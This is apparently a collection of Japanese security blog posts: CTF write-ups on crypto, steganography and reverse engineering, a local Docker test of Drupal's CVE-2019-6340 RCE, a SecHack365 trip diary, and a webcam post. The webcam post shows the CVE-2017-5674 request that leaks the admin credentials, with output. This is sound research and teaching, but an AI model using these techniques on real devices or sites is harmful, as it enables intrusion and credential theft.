a4fd210836a7,dec4371651f6be401e348fdeddb35a94f3b4df6f787c,2450d35d7987a8f8925f4f237b074a40579370a702a7a,bbffc03f22ee8828ad4440c51ab64c8489f443587ade,0,0,1eb996e05dd1768b73e431f67bbdd6c8407cf05539bdd,42af69f6f1de85ebd85d524ee0c880d17a54717b725a4,0,58a7fd168e149a79b4a4334d1d45166fb819e9bae98c,0,23ee10dbd81466fa2f8ecd88262acc81fd55ea565b2ae,0,0,17af0a96a9b2e7e3312bd69df2a5e30c0f196fbaf8d9,0,0,0,0,3b07b9ac09699fb2e689e24323069f5bf18f9cbcbfd12,0,0,0,21696dbfd09e07b904268332fdbfe9183c9128af58580,59ac9552519d6071903d42e04505f36e46ff7e4dc8f04,0,5cf547a07a1aa5f22d735f13e03dd9c218e69a98742ad,f5328872b06391032c8e4f43667c2817a4edad3a2bf1,0,0,0,0,4e590f3ecab6d14a5fe0ca2e77c4aa15a067e96ac3756,dfb2129fe24a885115f47ffe263b606b98e811f57956,0,2540f861746a56c303d83bf411ed5306c584d66ffaab5,0,0,0,0,0,3d9c6045b72e8c8e8681770056e640adf00770a3f93b5,0,
アプローチ:modの性質
encryptのコードとflag.enc
が与えられます.
encyrptのコードではメッセージ(flag)1文字1文字を8桁の2進数に変換し,
変換後のbitに応じてencryptしているようです(1のときは謎encrypt, 0のときは似非RSA).
次に似非RSAのdecryptが可能かどうかについて考えていきます.
結論から述べると似非RSAのdecryptは簡単に行なえます.なぜなら,pub_key
がとても小さいので簡単に素因数分解できるためです.
しかし,似非RSAのdecryptを行えたとしてもその値が(y * pow(x, 2, n)) % n
によってencryptされた値なのか,pow(x, 2, n)
によってencryptされた値なのかを判断する方法がないように思われます.
ここでもう一度flag.enc
に注目すると0の出現頻度がおかしいことに気づきます.
'a'
をencryptして動作を確かめてみます.
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import random def encrypt_bit(bit): n = 569581432115411077780908947843367646738369018797567841 y = 569581432115411077780908947843367646738369018797567841 x = random.randint(0, n) if bit == '1': return (y * pow(x, 2, n)) % n return pow(x, 2, n) if __name__ == '__main__': bin_m = '01100001' # 'a' x = map(encrypt_bit, bin_m) print(list(x))
> python example.py [503907194163742347950749151189780952424783277180090743, 0, 0, 232013060288249869474521860545175323741752601394883211, 32029176599138398957796327722421222608836960101753808, 125529946533928951618339723926128537231579346326887135, 558211320207958083662854954506953622060168929465128232, 0]
ビット列が1になっているところが0としてencryptされていることに気づきます.
冷静に考えてみればそれはそうで,(y * pow(x, 2, n)) % n
におけるy
とn
は一致するのでmodの性質上この式は0になります.
encrypt方式の欠点が分かったのでソルバに落とします.
#!/usr/bin/env python3 # -*- coding: utf-8 -*- if __name__ == '__main__': with open('./flag.enc') as f: s = f.read() enc_text = s.split(',') flag = [] bits = '' for x in enc_text[:-1]: if x == '0': bits += '1' else: bits += '0' if len(bits) == 8: flag.append(chr(int(bits,2))) bits = '' print(''.join(flag))
> python solve.py utflag{did_u_pay_attention_in_number_theory}
utflag{did_u_pay_attention_in_number_theory}
まとめ
- Crypto問簡単なのしか解けなくてかなしい
- 就活でいそがしい
- 時間に余裕を持ってCTFしたい
Drupalの脆弱性 (CVE-2019-6340) を検証してみた話
はじめに
TLでDrupalの脆弱性 (CVE-2019-6340) が話題になっていたので検証してみました.
本脆弱性の概要
www.drupal.orgによると一部のフィールドタイプがフォーム以外からのデータを正しくサニタイズしないため,RESTful Web Servicesなどの REST API を利用するモジュールを有効としている場合に任意のPHPコードを実行される可能性があるとのことです.
本脆弱性の影響を受ける環境
本脆弱性の影響を受ける可能性がある環境は以下の通りです.
本脆弱性を利用した攻撃の検証
検証環境の準備
Drupal 8.6.9 に対して検証を行うためにDocker
を利用しました.
Docker Hub
にDrupalのイメージがあるので検証環境の準備は簡単です.
以下のコマンドを実行すると
> docker run --name drupal_service -p 8080:80 -d drupal:8.6.9
http://localhost:8080/
に以下のような画面が表示されます.
English
-> [Save and continue]
-> Standard
-> [Save and continue]
-> SQLite
-> [Save and continue]
のように遷移するとインストールが始まります.
インストールが終わるとサイトの環境設定を求められるので適当に設定します.
設定が完了するとトップ画面が立ち上がります.
次にRESTful Web Servicesの設定を行います (デフォルトでは有効になっていないので).
Manage
-> Extend
-> WEB SERVICES
と遷移し,設定を全て有効にします.
次にコンテンツの追加を行います.
Manage
-> Content
-> Add Content
と遷移し,コンテンツの追加を行います.
コンテンツの追加に成功するとhttp://localhost:8080/node/1
にページが生成されます.
以上で検証環境の準備は終わりです.
攻撃手法
上記のサイトによると Drupal 8.6.9 と 8.6.10を比較した際にRESTモジュールでFieldItemNormalizer.php
が新しいトレイトとしてSerializedColumnNormalizerTrait.php
を使用していることが分かるとのことです.
この新しいトレイトではcheckForSerializedStrings()
メソッドを提供しています.
checkForSerializedStrings()
メソッドは名前の通り,チェック対象にシリアライズされた文字列が格納されている場合に例外を投げるメソッドです.
この修正内容からパッチ適用前のDrupalではシリアライズされた文字列に対してサニタイズが行われていないため,RCEが可能になっていると推測することができます.
そのため,checkForSerializedStrings()
メソッドが適用されているフィールドを特定し,PHPGGCを使用してペイロードを作成すれば攻撃が可能になります.
検証結果
以下がPHPのsystem()
を噛ませたペイロードを作成し,OSコマンドを実行している例です.
キャッシュチェック(X-Drupal-Cache
)で弾かれたノードはスキップしています.
本脆弱性に対する対策
脆弱性修正済みバージョンのDrupalが公開されているのでアップデートを適用することで対策が可能になります.
まとめ
- docker便利
- PHPGGC便利
- Drupalは早めにアップデートしましょう
Saudi and Oman National Cyber Security CTF 2019 Write-up
- はじめに
- 成績
- Just Another Conference [General Information, 50]
- Back to basics [Web Security, 50]
- I love images [Digital Forensics, 50]
- Hack a nice day [Digital Forensics, 100]
- I love this guy [Malware Reverse Engineering, 100]
- まとめ
はじめに
2019/02/02 ~ 2019/02/10 に開催されたSaudi and Oman National Cyber Security CTFに個人で参加しました.
成績
5問解いて 105位 (1問以上解いた457人中) でした.
Just Another Conference [General Information, 50]
famous Cybersecurity conference runs by OWASP in different locations
アプローチ:ググる
AppSec
フラグ提出チェック問ですね.
Back to basics [Web Security, 50]
not pretty much many options. No need to open a link from a browser, there is always a different way
アプローチ:POST
問題文に色々書かれてますが気にせずにリンクを踏んでみるとwww.google.com
にリダイレクトされてしまうことが分かります.
curl
でGETリクエスト
を投げて確かめてみます.
> curl http://35.197.254.240/backtobasics/ <script> document.location = "http://www.google.com"; </script>%
GETリクエスト
の情報量が微妙だったので基本に帰って (back to basics) POSTリクエスト
を投げてみます.
> curl -X POST http://35.197.254.240/backtobasics/ <!-- var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5]) -->%
js
が降ってきたので整形してあげます.
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"]; function reverse(_0xa6e5x2) { flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0]) } console[_0x7f88[4]]= reverse; console[_0x7f88[4]](_0x7f88[5])
読みにくいの読みやすくします.
flag = "ceab068d9522dc567177de8009f323b2".split("").reverse().join("")
この結果がフラグになります.
2b323f9008ed771765cd2259d860baec
I love images [Digital Forensics, 50]
A hacker left us something that allows us to track him in this image, can you find it?
アプローチ:baseXX
> file godot.png godot.png: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
> strings godot.png | tail *TYlT_qP vL.I IK@ VMqa.% pDuF( op+P q}'ZA0 O-T& IEND IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======
png
にbase64
っぽい文字列が埋め込まれているのが分かります.
早速デコードしようとしますが上手くいきません.
> echo 'IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======' | base64 -D !�� �%��!}�5��I}�0VV(�T=%
ここでrot13系が噛んでるのかなと考え,rot1~rot25までを総当たりしますが上手くデコードできず,無限に時間を溶かしました.
もう一度IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======
をよく眺めてみると小文字が出現していないことやパディングが多すぎることに違和感を覚え,ようやくエンコード方式が違うことに気が付きました.
エンコード方式が違うといってもすぐに思いつくエンコード方式がbase58
(ビットコインのあれ)くらいだったので色々調べてみるとbase32
がそれっぽいことが分かりました.
あとはオンラインツールでデコードしてあげるとフラグを取得できます.
emn178.github.io
FLAG{Not_Only_Base64}
Hack a nice day [Digital Forensics, 100]
can you get the flag out to hack a nice day. Note: Flag format flag{XXXXXXX}
アプローチ:Steganography
> file info.jpg info.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "badisbad", baseline, precision 8, 194x259, frames 3
comment: "badisbad"
が怪しいですね.
> strings info.jpg | head JFIF badisbad !1!%)+/.. 383-7(-.+ ---+------+----+-----+----+-------+------------7-- $3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz )((* YZI{0
ヘッダから恐らくSteganography
であることが分かります(経験則).
早速steghide
で埋め込まれたファイルを抽出します.
この際,passphrase
はbadisbad
を用いました.
> steghide extract -sf info.jpg Enter passphrase: wrote extracted data to "flaggg.txt".
あとはflaggg.txt
を読めば終わりです.
> cat flaggg.txt flag{Stegn0_1s_n!ce}
flag{Stegn0_1s_n!ce}
I love this guy [Malware Reverse Engineering, 100]
Can you find the password to obtain the flag?
アプローチ:デコンパイル
> file ScrambledEgg.exe ScrambledEgg.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
.Net
系はdnSpy
に投げるのが自分の中で定石になりつつあるので早速デコンパイルしてみます.
// Token: 0x04000001 RID: 1 public char[] Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_".ToCharArray(); MessageBox.Show(new string(new char[] { this.Letters[5], this.Letters[11], this.Letters[0], this.Letters[6], this.Letters[26], this.Letters[8], this.Letters[28], this.Letters[11], this.Letters[14], this.Letters[21], this.Letters[4], this.Letters[28], this.Letters[5], this.Letters[14], this.Letters[13], this.Letters[25], this.Letters[24], this.Letters[27] }));
パスワードを見つけようとしたらフラグを見つけてしまったのでデコードします(恐らく想定解法ではない).
#!/usr/bin/env python3 # -*- coding: utf-8 -*- if __name__ == '__main__': letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_' flag = [ letters[5], letters[11], letters[0], letters[6], letters[26], letters[8], letters[28], letters[11], letters[14], letters[21], letters[4], letters[28], letters[5], letters[14], letters[13], letters[25], letters[24], letters[27]] print(''.join(flag))
> python solve.py FLAG{I_LOVE_FONZY}
まとめ
SecHack365@沖縄に行ってきた話
SecHackのオフラインイベントで沖縄に行ってきました(02/01~02/03)
0日目 (01/31)
21:00
デモの最終確認を始める…
28:30
就寝…
1日目(02/01)
05:00
起床…(結局寝れず横になっただけ)
08:00
羽田空港到着.
睡眠不足からくる乗り物酔いで既に辛かった…
12:30
那覇空港到着.
お昼にソーキそばを食べようとしていたが乗り物酔いが酷すぎて諦めた…
13:30
空港のロビーでデモの確認や発表中にしゃべることの確認をしながら他のプロジェクトの人と雑談してた.
14:30
会場到着.
15:30
成果発表会開始.
発表順は年齢順らしく,自分が所属するプロジェクトはメンバー全員がM1なので1日目の後半に発表があった.
17:00
成果発表.
事前に伝えたいことを原稿にまとめていたが,発表中に頭から抜けてしまい,説明不足になってしまうところがあった.
やらかしたな〜と思っていたが質疑応答でその部分について聞かれ,上手く補足できたので良かった.
18:00
夕飯.
19:00
成果発表会再開.
自分達の発表は終わっていたので気楽に聞けた.
21:00
Self Night Challenge
チームメンバーが3月の外部向け発表会に向けて追加実装を行う中自分はゆゆ式10巻を読んでいた(?)
バックエンド担当に新APIが実装されたらオレも追加実装するわ〜とか言ってた気がする
25:30
就寝.
2日目(02/02)
08:15
起床チャレンジ成功.
早起きすると朝ごはんがおいしい!
09:00
成果発表会再開.
実用的なものからアカデミックなものまでレベルの高い発表が続いた.
12:00
昼食.
13:00
成果発表会再開.
低レイヤ高校生/高専生のレベルが高過ぎて自信喪失するのと同時にもっと頑張っていかなきゃと改めて思った.
18:00
夕飯.
22:00
SecHack365最後の夜ということなので何人かのトレーニーで集まり,パソコンをいじりながら色々な話をした.
どんな話をしたのかについては書かないが最後にざっくばらんな話ができて本当に面白かった.
なぜそうなったのかは覚えていないが色々な話をしていたら無性にCTFがしたくなったのでNeverLAN CTF(CTF timeを開いたら開催中だった)に参加した (深夜テンション).
以下Write up.
Alphabet Soup [Crypto]
MKXU IDKMI DM BDASKMI NLU XCPJNDICFQ! K VDMGUC KW PDT GKG NLKB HP LFMG DC TBUG PDTC CUBDTCXUB. K'Q BTCU MDV PDT VFMN F WAFI BD LUCU KN KB WAFI GDKMINLKBHPLFMGKBQDCUWTMNLFMFMDMAKMUNDDA
アプローチ:換字式暗号
問題文を見た限り何も手がかりがなかったので色々と試した(rot13など).
結果的に換字式暗号だった.
NICE GOING ON SOLKING THE CRYPTOGRAM! I WONDER IF YOU DID THIS BY HAND OR USED YOUR RESOURCES. I'M SURE NOW YOU WANT A FLAG SO HERE IT IS FLAG DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL
人力でやると時間がかかるのでqiupqiup
を使った.
quipqiup.com
DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL
Super Old School [Crypto]
This image is trying to tell you something.
アプローチ:Babylonian numerals
色々と調べてみるとBabylonian numerals
であることが分かる.
あとは数字とアルファベットを対応させれば終わり.
25 15 21 18 6 12 1 7 9 19 19 15 13 1 14 25 3 18 25 16 22 15 19 Y O U R F L A G I S S O M A N Y C R Y P T O S
SOMANYCRYPTOS
February 14th [Crypto]
3,9,13,15,18,7,20,1,4,14,5,21,6,2,17,10,8,16,12,11,19
______________________________________________________________ | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21| | ______________________________________________________________| J O W W A S Q L L W E I U S B A E S I P L O W W A Q A P K E Q I O O Q D Z R D O U E E D E F B W I J M I K M L W E C Y E I R O D Z S D M P W H L A L K M E L K U W Q T W L D D L V I D W O S G I N Z U K K I Z G D Z M H M D W A Q Y L I S B V E P M P B Q Z E B G I J Q S A T M S W J C W L V Q H M S G N U O O D F Z D B A T K N R U D K I P L S P I L R F Q B H H B U O Q T U I L F U K W I O Q P L I V A G I I U A H Y P Y L T Y F Y K W D K K C Q O O Z R W K T S T O R D C Q M A J L F O W Y R B W D M G O E I D T V L E Z Q H V I I W S O Q F N N M D K Q P H A W M S Q L Y O I M Y A K F W I F U J I Y Q T L A W O H P R Q W S O Q S T N W N O R U Y O X S E E L I W X D P A A P O E D U F I P P C A W S S P S Z X T S I O Y X W T M K Q I H D C O A W Z W Z U P O U W N P G K L Z Y U X F K Z S S V J G K P R K M K H I G S U W G I M X Z E S L C G E F J Q Z V U F A R Q H U K B D U L P F L W T H R X B
アプローチ:読む
3,9,13,15,18,7,20,1,4,14,5,21,6,2,17,10,8,16,12,11,19 W E L L I A M G L A D T H A T I S O V E R WELL I AM GLAD THAT IS OVER
WELLIAMGLADTHATISOVER
Z3r0 C00l Bruh! [Crypto]
Hackers keep secrets.
アプローチ:Steganography + エスパー + Vigenere cipher + エスパー
> strings hackers.jpeg | head -n 10 JFIF +&.&#&.&D6006DOB?BO_UU_xrx +&.&#&.&D6006DOB?BO_UU_xrx $3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz sLPA8 VUPrp+Kh"o:W< sN[fa 75N]N
ヘッダが怪しいのでSteganography
を疑った.
steghide
を利用しファイルの抽出を行った.
passphrase
はエスパーでneverlanctf
にした.
> steghide extract -sf hackers.jpeg Enter passphrase: the file "Ohno.txt" does already exist. overwrite ? (y/n) wrote extracted data to "Ohno.txt".
Ohno.txt
の中身を見てみる.
> cat Ohno.txt I wonder what this is???? Fowbjcsniuwcwscotsxvevvko
Fowbjcsniuwcwscotsxvevvko
をデコードすればフラグを取得できることが何となく分かる.
いくつかの手法を試す.
rot13 => x base64 => x vigenere cipher => Yourflagismyfavoritemovie
結果的にvigenere cipher
でデコードできた.
デコードの際,KEYはエスパーでHACKERS
にした.
myfavoritemovie
26:00
解散 + 就寝
Crypto問が全然Cryptoじゃなかったと文句をいいながら寝た.
3日目 (02/03)
08:00
起床チャレンジ成功.
09:00
優秀修了生発表.
自分達のプロジェクトは選抜されなかったが,選抜されたプロジェクトはどれも素晴らしいものだったので納得の結果だった.
後から聞いた話によると自分達のプロジェクトは惜しくも選抜入りを逃したらしい(最終選考には残っていた)
12:00
昼食.
13:00
レクリエーション.
バスで斎場御嶽に行った.
3日間ずっと室内にいたのでやっと沖縄に来たんだなぁという気持ちになった.
16:00
那覇空港で解散.
23:30
自宅到着.
まとめ
- 成果発表疲れた
- 優秀修了生に選ばれなくて悔しかったがいい経験ができたと思う
- 低レイヤ高校生強すぎる
- これからも頑張っていく(まずは3月の外部向けの成果発表会)
- ルートビアは太る
IoT: Webカメラで遊んだ話
はじめに
先日下記のツイートがTLに流れてきました.
NHK ニュースウオッチ9
— あかん食堂 (@11942694) 2019年1月25日
▽サイバー攻撃対策?家庭のIoT機器に国が“無差別侵入”調査▽東京
ホワイトハッカーがテレビにでてた。
しらんけど( ^ω^) pic.twitter.com/34tS9HuXGS
CVE-2017-5674
が遂にTVデビューしましたね (ちょっとテンションがあがった).
今回は二番煎じですがWebカメラとCVE-2017-5674
について色々と書いていきます(唐突).
Webカメラ
モデル
今回はVstarcam C7823WIP Mini WIFI IP Camera
を使って検証していこうと思います.
上記の動画で扱っていたWebカメラも恐らくVstarcam
だと思います.
【KEIAN/恵安】 VSTARCAM Mini WIFI IP Camera 技術基準適合認定済み有線/無線LAN対応ネットワークカメラ C7823WIP
- 出版社/メーカー: KEIAN
- 発売日: 2015/10/08
- メディア: Personal Computers
- この商品を含むブログを見る
ファームウェアのバージョン
CVE-2017-5674
A vulnerability in a custom-built GoAhead web server used on Foscam, Vstarcam, and multiple white-label IP camera models allows an attacker to craft a malformed HTTP ("GET system.ini HTTP/1.1\n\n" - note the lack of "/" in the path field of the request) request that will disclose the configuration file with the login password.
CVE-2017-5674
とは 不正な形式のHTTPリクエストを送ることでVstarcam
などのIPカメラで使用されるGoAhead webサーバの設定ファイル(ログインパスワードを含む)が公開されてしまう脆弱性です.
検証
WebカメラのIPアドレスの特定
> arp -a | grep 48:2:2c ? (192.168.2.3) at 48:2:2c:40:87:15 on en0 ifscope [ethernet]
WebカメラのIPアドレスは192.168.2.3
であることが分かりました.
ポートスキャン
> nmap -p- -sV 192.168.2.3 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 01:50 JST Nmap scan report for 192.168.2.3 Host is up (0.024s latency). Not shown: 65530 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet security DVR telnetd (many brands) 81/tcp open http GoAhead WebServer 9600/tcp open tcpwrapped 10080/tcp open amanda? 10554/tcp open rtsp Nmap done: 1 IP address (1 host up) scanned in 62.99 seconds
ポートスキャンの結果からGoAhead WebServer
は81/tcp
で動いていることが分かりました.
補足
ファームウェアのバージョンが異なるモデルではhttp
はランダムポートになっています.
81/tcpにアクセス
ユーザ名とパスワードの入力を求めらます.
パスワードの漏洩
CVE-2017-5674
の通りに不正なGETリクエストを送信して設定ファイルを漏洩させます.
> telnet 192.168.2.3 81 Trying 192.168.2.3... Connected to 192.168.2.3. Escape character is '^]'. GET system.ini HTTP/1.1 200 OK Date: Mon Jan 28 17:06:13 2019 Server: GoAhead-Webs Last-modified: Mon Jan 28 16:40:00 2019 Content-length: 4052 Content-type: text/plain Cache-Control:no-cache Connection: close IPCAM������������������������������������������`0O\���time.nist.gov/ adminp4ssw0rd ~~~~������������������������������������������5W �W G �� �j R :)VSTB000000ABCDE192.168.1.126Connection closed by foreign host.
admin
, p4ssw0rd
が降ってきました.
再度81/tcpにアクセス
先程漏洩させたユーザ名とパスワードを使って81/tcp
にアクセスしてみると管理画面が表示されました.
Sign in
適当にSign in
するとカメラの映像が表示されます.
その他
Vstarcam C7823WIP Mini WIFI IP Camera
はCVE-2017-5674
以外にも面白い情報を提供してくれるので雑に紹介します.
初回起動時にユーザ名とデフォルトパスワードが平文で流れる
パケットキャプチャすると見えます.
www[.]baidu[.]com
何のためかは分かりませんがiPhoneアプリから接続するとwww[.]baidu[.]comの名前解決をします.
AWSとの通信は何となく目的が分かるのですがbaiduとは何やってるんだろう?
まとめ
参考文献
動画の方の資料を参考にさせていただきました.
IoTSecJP ~製造と販売の問題~
http://ruffnex.net/iotsecjp/pdf/vuln.pdf
InterKosenCTF 2019 Write-up
はじめに
01/18~01/20に開催されたInterKosenCTFにチームNekochanNano!で参加しました.
NekochanNano!は1250pts獲得して12位(71チーム中)でした.
今回は自分が解いた2問(350pts)のWrite-upです.
[Cheat 100pts] lights out
Turn all the lights on.
ライツアウトは、5×5の形に並んだライトをある法則にしたがってすべて消灯 (lights out) させることを目的としたパズル。(Wiki)
アプローチ:デコンパイル
ライツアウトのソルバ自体はググればたくさん出てきます.
ただ,今回のライツアウトは20×20なので愚直にやると解けなそうです.
なので正攻法?(デコンパイル)で解きました.
LightsOut.exe
をdnSpy
でデコンパイルすると以下のようなコードを発見できます.
github.com
// Token: 0x06000017 RID: 23 RVA: 0x0000246C File Offset: 0x0000066C // Note: this type is marked as 'beforefieldinit'. static 745BBE96-A34C-4723-B7D4-089F48D57F2E() { 745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>> = new byte[] { 200, 223, 198, 210, 158, 149, 232, 159, 223, 216, 145, 155, 226, 149, 217, 238, 245, 232, 253, 247, 253, 235, 250, 198, 193, 199, 132, 197, 223, 212, 128, 217, 230, 242, 215, 237, 189, 224, 238, 235, 247, 240, 227, 181, 242, 180, 219, 202, 200, 196, 252, 224, 240, 171, 241, 244, 241, 167, 252, 253, 239, 200, 247, 253, 217, 223, 156, 148, 173, 128, 130, 138, 144, 130, 148, 148, 138, 134, 144, 140, 149, 149, 139, 216, 179, 158, 149, 147, 180, 156, 130, 156, 186, 158, 147, 157, 190, 184, 232, 134, 187, 187 }; for (int i = 0; i < 745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>.Length; i++) { 745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>[i] = (byte)((int)745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>[i] ^ i ^ 170); } }
排他的論理和を使って怪しい処理をしてますね.
同様の処理を行った結果をデコードするとflag
が得られます.
#!/usr/bin/env python3 # -*- coding: utf-8 -*- if __name__ == '__main__': messages = [200,223,198,210,158,149,232,159,223,216,145,155,226,149,217,238,245,232,253,247,253,235,250,198,193,199,132,197,223,212,128,217,230,242,215,237,189,224,238,235,247,240,227,181,242,180,219,202,200,196,252,224,240,171,241,244,241,167,252,253,239,200,247,253,217,223,156,148,173,128,130,138,144,130,148,148,138,134,144,140,149,149,139,216,179,158,149,147,180,156,130,156,186,158,147,157,190,184,232,134,187,187] flag = [] for i, message in enumerate(messages): flag.append(message ^ i ^ 170) print(bytes(flag))
> python solve.py b'btn{0:D2}{1:D2}KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}Congratulations!MainFormLights Out'
KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}
[Cheat 250pts] anti cheat
Get a super good score!
アプローチ:javascriptの書き換え
問題文から一定以上のスコアを獲得すればflag
が表示されることを読み取ることができます.
チートを行うためにChromeのデベロッパーツールを使用してjsコードを確認すると以下のようになっています.
かなり読みにくいですがscore
という変数名を手がかりにスコアの書き換えに利用できそうな処理を探していきます.
score
で検索をかけると以下のようなコードを発見できます.
_d3(8,8,("SCORE: "+_G3(_e3._r3)));
このコードは恐らく左上のスコアを表示している部分の処理を行っているので_e3._r3
に関する処理を書き換えればスコアに影響を与えることができそうだということが分かります.
_e3._r3
で検索をかけると以下のようなコードを発見できます.
if((_e3._r3>=1000)){~~~~~}
このコードからスコアが1000以上になった場合に何かしらの処理が行われることが読み取れます.
そのため,コードを以下のように書き換えて再度ゲームをプレイしてみます.
if((_e3._r3>=1)){~~~~~}
このようにflag
が表示されました.
KOSENCTF{bASIc_buT_STrOng_AnTI_chEAT}
まとめ
- Web, Cryptoが思うように解けずつらくなった…
- 精進しなければ…
- チームでCTFやるの楽しい!
- Rev,Pwn投げっぱなしだったのでなんとかしたい…